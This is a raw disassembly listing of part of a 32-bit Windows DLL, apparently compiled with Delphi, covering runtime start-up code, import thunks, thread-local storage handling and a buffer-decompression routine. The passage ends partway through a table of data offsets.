loc_10004183 ; --------------------------------------------------------------------------- loc_1000417D: ; CODE XREF: sub_10004120+52j mov eax, [eax] test eax, eax jnz short loc_1000416D loc_10004183: ; CODE XREF: sub_10004120+42j ; sub_10004120+4Bj ... retn ; --------------------------------------------------------------------------- loc_10004184: ; DATA XREF: sub_10004120+Ao jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_1000414D ; --------------------------------------------------------------------------- loc_1000418B: ; CODE XREF: sub_10004120:loc_10004183j ; DATA XREF: sub_10004120+28o pop ecx pop ebp retn sub_10004120 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10004190 proc near ; CODE XREF: sub_10003AB4+BFp mov edx, [eax] test edx, edx jz short locret_100041A4 mov dword ptr [eax], 0 push eax push edx mov eax, [edx] call dword ptr [eax+8] pop eax locret_100041A4: ; CODE XREF: sub_10004190+4j retn sub_10004190 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100041A8 proc near ; CODE XREF: sub_1000820C+265p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_100041B6 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_100041B6: ; CODE XREF: sub_100041A8+8j call ds:off_10009030 pop ebp retn sub_100041A8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_100041C0 proc near ; CODE XREF: sub_100033CC+16p ; sub_1000622C+2Ep ... var_408 = byte ptr -408h push ebx push esi add esp, 0FFFFFC00h mov esi, edx mov ebx, eax test ebx, ebx jz short loc_1000420D cmp dword ptr [ebx+4], 10000h jge short loc_10004203 push 400h lea eax, [esp+40Ch+var_408] push eax mov eax, [ebx+4] push eax mov eax, [ebx] mov eax, [eax] call sub_10003C50 push eax call sub_100010F8 ; LoadStringA mov ecx, eax mov edx, esp mov eax, esi call sub_10003710 jmp short loc_1000420D ; --------------------------------------------------------------------------- loc_10004203: ; CODE XREF: sub_100041C0+17j mov eax, esi mov edx, [ebx+4] call sub_100037FC loc_1000420D: ; CODE XREF: sub_100041C0+Ej ; sub_100041C0+41j add esp, 400h pop esi pop ebx retn sub_100041C0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10004218 proc near ; CODE XREF: sub_100042EC+BEp ; sub_100042EC+CFp var_10 = dword ptr -10h var_B = byte ptr -0Bh var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx xor edx, edx mov [ebp+var_10], edx xor edx, edx push ebp push offset loc_1000427E push dword ptr fs:[edx] mov fs:[edx], esp push 7 lea edx, [ebp+var_B] push edx push 1004h push eax call sub_100010C0 ; GetLocaleInfoA lea eax, [ebp+var_10] lea edx, [ebp+var_B] mov ecx, 7 call sub_10003868 mov eax, [ebp+var_10] lea edx, [ebp+var_4] call sub_10002754 mov ebx, eax cmp [ebp+var_4], 0 jz short loc_10004268 xor ebx, ebx loc_10004268: ; CODE XREF: sub_10004218+4Cj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10004285 loc_10004275: ; CODE XREF: sub_10004218+6Bj lea eax, [ebp+var_10] call sub_10003620 retn ; --------------------------------------------------------------------------- loc_1000427E: ; DATA XREF: sub_10004218+Fo jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10004275 ; --------------------------------------------------------------------------- loc_10004285: ; CODE XREF: sub_10004218+65j ; DATA XREF: sub_10004218+58o mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_10004218 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1000428C proc near ; DATA XREF: CODE:10008630o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_100042E0 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_1000A5B4 jnz short loc_100042D2 mov eax, offset dword_1000A048 call sub_100026DC mov eax, offset dword_1000A214 call sub_100026DC mov eax, offset dword_1000A3E0 call sub_100026DC call sub_100018FC mov eax, offset dword_1000A65C call sub_10003620 loc_100042D2: ; CODE XREF: sub_1000428C+17j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_100042E7 loc_100042DF: ; CODE XREF: sub_1000428C+59j retn ; --------------------------------------------------------------------------- loc_100042E0: ; DATA XREF: sub_1000428C+6o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_100042DF ; --------------------------------------------------------------------------- loc_100042E7: ; CODE XREF: sub_1000428C:loc_100042DFj ; DATA XREF: sub_1000428C+4Eo pop ebp retn sub_1000428C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100042EC proc near ; DATA XREF: CODE:1000862Co push ebp mov ebp, esp xor eax, eax push ebp push offset loc_100043DD push dword ptr fs:[eax] mov fs:[eax], esp sub ds:dword_1000A5B4, 1 jnb loc_100043CF mov ds:byte_10009008, 2 mov ds:off_1000A014, offset sub_10001068 mov ds:off_1000A018, offset sub_10001070 mov ds:byte_1000A046, 2 mov ds:off_1000A000, offset sub_10003BA0 call sub_10002B30 test al, al jz short loc_10004344 call sub_10002B60 loc_10004344: ; CODE XREF: sub_100042EC+51j call sub_10002C24 mov ds:word_1000A04C, 0D7B0h mov ds:word_1000A218, 0D7B0h mov ds:word_1000A3E4, 0D7B0h call sub_100010B8 ; GetCommandLineA mov ds:dword_1000A03C, eax call sub_10001148 mov ds:dword_1000A038, eax call sub_10001140 ; GetVersion and eax, 80000000h cmp eax, 80000000h jz short loc_100043B6 call sub_10001140 ; GetVersion and eax, 0FFh cmp ax, 4 jbe short loc_100043A5 mov ds:dword_1000A5B8, 3 jmp short loc_100043C5 ; --------------------------------------------------------------------------- loc_100043A5: ; CODE XREF: sub_100042EC+ABj call sub_100010E8 ; GetThreadLocale call sub_10004218 mov ds:dword_1000A5B8, eax jmp short loc_100043C5 ; --------------------------------------------------------------------------- loc_100043B6: ; CODE XREF: sub_100042EC+9Bj call sub_100010E8 ; GetThreadLocale call sub_10004218 mov ds:dword_1000A5B8, eax loc_100043C5: ; CODE XREF: sub_100042EC+B7j ; sub_100042EC+C8j call sub_10001138 ; GetCurrentThreadId mov ds:dword_1000A030, eax loc_100043CF: ; CODE XREF: sub_100042EC+18j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_100043E4 loc_100043DC: ; CODE XREF: sub_100042EC+F6j retn ; --------------------------------------------------------------------------- loc_100043DD: ; DATA XREF: sub_100042EC+6o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_100043DC ; --------------------------------------------------------------------------- loc_100043E4: ; CODE XREF: sub_100042EC:loc_100043DCj ; DATA XREF: sub_100042EC+EBo pop ebp retn sub_100042EC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100043E8 proc near ; CODE XREF: sub_100044AC+Cp jmp ds:dword_1000B168 sub_100043E8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100043F0 proc near ; CODE XREF: sub_10004408+3p jmp ds:dword_1000B164 sub_100043F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100043F8 proc near ; CODE XREF: sub_10004460+25p ; sub_10004460+36p jmp ds:dword_1000B160 sub_100043F8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004400 proc near ; CODE XREF: sub_1000441C+3Dp jmp ds:dword_1000B15C sub_10004400 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10004408 proc near ; CODE XREF: sub_1000441C+21p push eax push 40h call sub_100043F0 ; LocalAlloc retn sub_10004408 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10004414 proc near ; CODE XREF: sub_1000441C+1p mov eax, 8 retn sub_10004414 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_1000441C proc near ; CODE XREF: sub_10004460:loc_1000447Ap push ebx call sub_10004414 mov ebx, eax test ebx, ebx jz short loc_1000445E cmp ds:TlsIndex, 0FFFFFFFFh jnz short loc_1000443B mov eax, 0E2h call sub_10003614 ; --------------------------------------------------------------------------- loc_1000443B: ; CODE XREF: sub_1000441C+13j mov eax, ebx call sub_10004408 test eax, eax jnz short loc_10004452 mov eax, 0E2h call sub_10003614 ; --------------------------------------------------------------------------- jmp short loc_1000445E ; --------------------------------------------------------------------------- loc_10004452: ; CODE XREF: sub_1000441C+28j push eax mov eax, ds:TlsIndex push eax call sub_10004400 ; TlsSetValue loc_1000445E: ; CODE XREF: sub_1000441C+Aj ; sub_1000441C+34j pop ebx retn sub_1000441C endp ; =============== S U B R O U T I N E ======================================= sub_10004460 proc near ; CODE XREF: sub_10002594+20p ; sub_100025EC+3p ... mov cl, ds:byte_1000A660 mov eax, ds:TlsIndex test cl, cl jnz short loc_10004495 mov edx, large fs:2Ch mov eax, [edx+eax*4] retn ; --------------------------------------------------------------------------- loc_1000447A: ; CODE XREF: sub_10004460+3Dj call sub_1000441C mov eax, ds:TlsIndex push eax call sub_100043F8 ; TlsGetValue test eax, eax jz short loc_1000448F retn ; --------------------------------------------------------------------------- loc_1000448F: ; CODE XREF: sub_10004460+2Cj mov eax, ds:dword_1000A66C retn ; --------------------------------------------------------------------------- loc_10004495: ; CODE XREF: sub_10004460+Dj push eax call sub_100043F8 ; TlsGetValue test eax, eax jz short loc_1000447A retn sub_10004460 endp ; =============== S U B R O U T I N E ======================================= sub_100044A0 proc near ; CODE XREF: sub_100044AC+2Ep mov eax, offset dword_10009090 call sub_10004110 retn sub_100044A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100044AC proc near ; CODE XREF: CODE:1000868Fp push ebx mov ebx, eax xor eax, eax mov ds:TlsIndex, eax push 0 call sub_100043E8 ; GetModuleHandleA mov ds:dword_1000A664, eax mov eax, ds:dword_1000A664 mov ds:dword_10009094, eax xor eax, eax mov ds:dword_10009098, eax xor eax, eax mov ds:dword_1000909C, eax call sub_100044A0 mov edx, offset dword_10009090 mov eax, ebx call sub_1000338C pop ebx retn sub_100044AC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100044F0 proc near ; DATA XREF: CODE:10008628o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_10004515 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_1000A668 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_1000451C loc_10004514: ; CODE XREF: sub_100044F0+2Aj retn ; --------------------------------------------------------------------------- loc_10004515: ; DATA XREF: sub_100044F0+6o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10004514 ; --------------------------------------------------------------------------- loc_1000451C: ; CODE XREF: sub_100044F0:loc_10004514j ; DATA XREF: sub_100044F0+1Fo pop ebp retn sub_100044F0 endp ; --------------------------------------------------------------------------- align 10h loc_10004520: ; DATA XREF: CODE:off_10008624o sub ds:dword_1000A668, 1 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10004528 proc near ; DATA XREF: CODE:10008638o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_1000454D push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_1000A670 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10004554 loc_1000454C: ; CODE XREF: sub_10004528+2Aj retn ; --------------------------------------------------------------------------- loc_1000454D: ; DATA XREF: sub_10004528+6o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_1000454C ; --------------------------------------------------------------------------- loc_10004554: ; CODE XREF: sub_10004528:loc_1000454Cj ; DATA XREF: sub_10004528+1Fo pop ebp retn sub_10004528 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10004558 proc near ; DATA XREF: CODE:10008634o sub ds:dword_1000A670, 1 retn sub_10004558 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004560 proc near ; CODE XREF: sub_100084A8+95p ; sub_10008558+6Ep jmp ds:dword_1000B1F0 sub_10004560 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004568 proc near ; CODE XREF: sub_100084A8+1Fp ; sub_10008558+3Ep jmp ds:dword_1000B1EC sub_10004568 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004570 proc near ; CODE XREF: sub_1000820C+18Ap jmp ds:dword_1000B1E8 sub_10004570 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004578 proc near ; CODE XREF: sub_10006440+53p ; sub_10006440+7Cp jmp ds:dword_1000B1E4 sub_10004578 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004580 proc near ; CODE XREF: sub_100084A8+3Fp jmp ds:dword_1000B1E0 sub_10004580 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004588 proc near ; CODE XREF: sub_10008120+28p jmp ds:dword_1000B1DC sub_10004588 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004590 proc near ; CODE XREF: sub_1000731C+3Fp jmp ds:dword_1000B1D8 sub_10004590 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004598 proc near ; CODE XREF: sub_10007390+19p jmp ds:dword_1000B1D4 sub_10004598 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100045A0 proc near ; CODE XREF: sub_10007F0C:loc_10007F5Fp jmp ds:dword_1000B1D0 sub_100045A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100045A8 proc near ; CODE XREF: sub_10005638+21p jmp ds:dword_1000B1CC sub_100045A8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100045B0 proc near ; CODE XREF: sub_10008558+4Dp jmp ds:dword_1000B1C8 sub_100045B0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100045B8 proc near ; CODE XREF: sub_100061B8+1Ep ; sub_10006204+13p ... jmp ds:dword_1000B1C4 sub_100045B8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100045C0 proc near ; CODE XREF: CODE:10006765p ; CODE:10006780p ... jmp ds:dword_1000B1C0 sub_100045C0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100045C8 proc near ; CODE XREF: sub_10007914+6p jmp ds:dword_1000B1BC sub_100045C8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100045D0 proc near ; CODE XREF: sub_10007914+17p jmp ds:dword_1000B1B8 sub_100045D0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100045D8 proc near ; CODE XREF: CODE:10006900p ; CODE:1000691Bp jmp ds:dword_1000B1B4 sub_100045D8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100045E0 proc near ; CODE XREF: sub_10007408+F4p jmp ds:dword_1000B1B0 sub_100045E0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100045E8 proc near ; CODE XREF: sub_100080A8+2Ep jmp ds:dword_1000B1AC sub_100045E8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100045F0 proc near ; CODE XREF: sub_1000820C+1A7p jmp ds:dword_1000B1A8 sub_100045F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100045F8 proc near ; CODE XREF: sub_10006268+1Cp ; sub_10006440+18p ... jmp ds:dword_1000B1A4 sub_100045F8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004600 proc near ; CODE XREF: sub_10007134+Ep jmp ds:dword_1000B1A0 sub_10004600 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004608 proc near ; CODE XREF: sub_100084A8+4Dp jmp ds:dword_1000B19C sub_10004608 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004610 proc near ; CODE XREF: sub_100084A8+6Cp jmp ds:dword_1000B198 sub_10004610 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004618 proc near ; CODE XREF: sub_10008558+68p jmp ds:dword_1000B194 sub_10004618 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004620 proc near ; CODE XREF: sub_1000820C+1C4p jmp ds:dword_1000B190 sub_10004620 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004628 proc near ; CODE XREF: sub_1000820C+24Fp jmp ds:dword_1000B18C sub_10004628 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004630 proc near ; CODE XREF: sub_1000820C+243p jmp ds:dword_1000B188 sub_10004630 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004638 proc near ; CODE XREF: sub_100084A8+65p jmp ds:dword_1000B184 sub_10004638 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004640 proc near ; CODE XREF: sub_100046E0+39p jmp ds:dword_1000B180 sub_10004640 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004648 proc near ; CODE XREF: sub_1000820C+1E2p jmp ds:dword_1000B17C sub_10004648 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004650 proc near ; CODE XREF: CODE:10006741p ; sub_10006D88+6Bp jmp ds:dword_1000B178 sub_10004650 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004658 proc near ; CODE XREF: CODE:10006906p ; CODE:10006921p ... jmp ds:dword_1000B174 sub_10004658 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004660 proc near ; CODE XREF: sub_1000820C+201p ; sub_1000820C+221p jmp ds:dword_1000B170 sub_10004660 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004668 proc near ; CODE XREF: sub_10007258+Dp jmp ds:dword_1000B204 sub_10004668 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004670 proc near ; CODE XREF: CODE:100068E3p jmp ds:dword_1000B208 sub_10004670 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004678 proc near ; CODE XREF: sub_10007408+11Fp ; sub_10007408+130p jmp ds:dword_1000B200 sub_10004678 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004680 proc near ; CODE XREF: CODE:10006816p ; CODE:10006943p jmp ds:dword_1000B1FC sub_10004680 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10004688 proc near ; CODE XREF: CODE:10006959p jmp ds:dword_1000B1F8 sub_10004688 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10004690 proc near ; CODE XREF: sub_1000820C+9Bp ; sub_1000820C+F0p xchg eax, edx call sub_1000263C retn sub_10004690 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10004698 proc near ; CODE XREF: sub_1000820C+140p ; sub_1000820C+150p xor ecx, ecx call sub_10002734 retn sub_10004698 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100046A0 proc near ; DATA XREF: CODE:10008640o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_100046C5 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_1000A674 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_100046CC loc_100046C4: ; CODE XREF: sub_100046A0+2Aj retn ; --------------------------------------------------------------------------- loc_100046C5: ; DATA XREF: sub_100046A0+6o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_100046C4 ; --------------------------------------------------------------------------- loc_100046CC: ; CODE XREF: sub_100046A0:loc_100046C4j ; DATA XREF: sub_100046A0+1Fo pop ebp retn sub_100046A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_100046D0 proc near ; DATA XREF: CODE:1000863Co sub ds:dword_1000A674, 1 retn sub_100046D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100046D8 proc near ; CODE XREF: sub_100046E0+5Ep jmp ds:dword_1000B210 sub_100046D8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_100046E0 proc near ; CODE XREF: CODE:100086FCp var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = qword ptr -18h push ebx push esi push edi push ebp add esp, 0FFFFFFECh mov [esp+24h+var_20], ecx mov edi, edx mov [esp+24h+var_24], eax xor ebp, ebp mov eax, [edi] mov dword ptr [esp+24h+var_18], eax xor eax, eax mov dword ptr [esp+24h+var_18+4], eax fild [esp+24h+var_18] fmul flt_1000475C call sub_1000267C mov esi, eax push 4 push 1000h push esi push 0 call sub_10004640 ; VirtualAlloc mov ebx, eax test ebx, ebx jz short loc_10004752 xor eax, eax mov [esp+24h+var_1C], eax lea eax, [esp+24h+var_1C] push eax mov eax, [edi] push eax mov eax, [esp+2Ch+var_24] push eax push esi push ebx mov eax, [esp+38h+var_20] push eax call sub_100046D8 ; RtlDecompressBuffer cmp [esp+24h+var_1C], 0 jz short loc_10004752 mov eax, [esp+24h+var_1C] mov [edi], eax mov ebp, ebx loc_10004752: ; CODE XREF: sub_100046E0+42j ; sub_100046E0+68j mov eax, ebp add esp, 14h pop ebp pop edi pop esi pop ebx retn sub_100046E0 endp ; --------------------------------------------------------------------------- flt_1000475C dd 1.25e1 ; DATA XREF: sub_100046E0+22r ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10004760 proc near ; DATA XREF: CODE:10008648o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_10004785 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_1000A678 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_1000478C loc_10004784: ; CODE XREF: sub_10004760+2Aj retn ; --------------------------------------------------------------------------- loc_10004785: ; DATA XREF: sub_10004760+6o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10004784 ; --------------------------------------------------------------------------- loc_1000478C: ; CODE XREF: sub_10004760:loc_10004784j ; DATA XREF: sub_10004760+1Fo pop ebp retn sub_10004760 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10004790 proc near ; DATA XREF: CODE:10008644o sub ds:dword_1000A678, 1 retn sub_10004790 endp ; --------------------------------------------------------------------------- off_10004798 dd offset dword_1000A664 ; DATA XREF: DATA:off_100092E8o dd 0FFF0h off_100047A0 dd offset dword_1000A664 ; DATA XREF: DATA:off_100092E0o dd 0FFF1h off_100047A8 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009330o dd 0FFF2h off_100047B0 dd offset dword_1000A664 ; DATA XREF: DATA:off_100093CCo dd 0FFF3h off_100047B8 dd offset dword_1000A664 ; DATA XREF: DATA:off_100092A0o dd 0FFF4h off_100047C0 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009398o dd 0FFF5h off_100047C8 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009368o dd 0FFF6h off_100047D0 dd offset dword_1000A664 ; DATA XREF: DATA:off_100092CCo dd 0FFF7h off_100047D8 dd offset dword_1000A664 ; DATA XREF: DATA:off_100092F0o dd 0FFF8h off_100047E0 dd offset dword_1000A664 ; DATA XREF: DATA:off_100093D8o dd 0FFF9h off_100047E8 dd offset dword_1000A664 ; DATA XREF: DATA:off_100093D4o dd 0FFFAh off_100047F0 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009334o dd 0FFFBh off_100047F8 dd offset dword_1000A664 ; DATA XREF: DATA:off_100093E0o dd 0FFFCh off_10004800 dd offset dword_1000A664 ; DATA XREF: DATA:off_100093F4o dd 0FFFDh off_10004808 dd offset dword_1000A664 ; DATA XREF: DATA:off_1000936Co dd 0FFFEh off_10004810 dd offset dword_1000A664 ; DATA XREF: DATA:off_1000937Co dd 0FFFFh dd offset dword_1000A664 ; DATA XREF: DATA:off_10009374o dd 0FFE0h off_10004820 dd offset dword_1000A664 ; DATA XREF: DATA:off_100093F0o dd 0FFE1h dd offset dword_1000A664 ; DATA XREF: DATA:off_10009390o dd 0FFE2h off_10004830 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009324o dd 0FFE3h off_10004838 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009320o dd 0FFE4h off_10004840 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009328o dd 0FFE5h off_10004848 dd offset dword_1000A664 ; DATA XREF: DATA:off_100093D0o dd 0FFE6h dd offset dword_1000A664 ; DATA XREF: DATA:off_100093ECo dd 0FFE7h off_10004858 dd offset dword_1000A664 ; DATA XREF: DATA:off_100092E4o dd 0FFE8h off_10004860 dd offset dword_1000A664 ; DATA XREF: DATA:off_100090F4o ; DATA:off_100092F4o dd 0FFE9h off_10004868 dd offset dword_1000A664 ; DATA XREF: DATA:off_100090F8o ; DATA:off_10009338o dd 0FFEAh off_10004870 dd offset dword_1000A664 ; DATA XREF: DATA:off_1000929Co ; --------------------------------------------------------------------------- jmp short near ptr loc_10004874+1 ; CODE XREF: CODE:loc_10004874j ; --------------------------------------------------------------------------- align 4 dd offset dword_1000A664 ; DATA XREF: DATA:off_100093F8o dd 0FFECh dd offset dword_1000A664 ; DATA XREF: DATA:off_1000938Co dd 0FFEDh off_10004888 dd offset dword_1000A664 ; DATA XREF: DATA:off_1000933Co dd 0FFEEh off_10004890 dd offset dword_1000A664 ; DATA XREF: DATA:off_100093B0o dd 0FFEFh off_10004898 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009358o dd 0FFD0h off_100048A0 dd offset dword_1000A664 ; DATA XREF: DATA:off_1000934Co dd 0FFD1h off_100048A8 dd offset dword_1000A664 ; DATA XREF: DATA:off_100092FCo dd 0FFD2h dd offset dword_1000A664 ; DATA XREF: DATA:off_100092B8o dd 0FFD3h dd offset dword_1000A664 ; DATA XREF: DATA:off_1000939Co dd 0FFD4h off_100048C0 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009344o dd 0FFD5h off_100048C8 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009388o dd 0FFD6h dd offset dword_1000A664 ; DATA XREF: DATA:off_100093BCo dd 0FFD7h off_100048D8 dd offset dword_1000A664 ; DATA XREF: DATA:off_100092F8o dd 0FFD8h dd offset dword_1000A664 ; DATA XREF: DATA:off_100093B4o dd 0FFD9h off_100048E8 dd offset dword_1000A664 ; DATA XREF: DATA:off_1000910Co ; DATA:off_100093E4o dd 0FFDAh off_100048F0 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009110o ; DATA:off_1000935Co dd 0FFDBh off_100048F8 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009114o ; DATA:off_100093C8o dd 0FFDCh off_10004900 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009118o ; DATA:off_10009298o dd 0FFDDh off_10004908 dd offset dword_1000A664 ; DATA XREF: DATA:off_1000911Co ; DATA:off_100092C8o dd 0FFDEh off_10004910 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009120o ; DATA:off_100093FCo dd 0FFDFh off_10004918 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009124o ; DATA:off_100093B8o dd 0FFC0h off_10004920 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009128o ; DATA:off_100092B0o dd 0FFC1h off_10004928 dd offset dword_1000A664 ; DATA XREF: DATA:off_1000912Co ; DATA:off_100092ECo ; --------------------------------------------------------------------------- retn 0FFh ; --------------------------------------------------------------------------- align 10h off_10004930 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009130o ; DATA:off_10009360o ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0FFh, 2 dup(0) off_10004938 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009134o ; DATA:off_100093C0o dd 0FFC4h off_10004940 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009138o ; DATA:off_100093DCo dd 0FFC5h off_10004948 dd offset dword_1000A664 ; DATA XREF: DATA:off_1000913Co ; 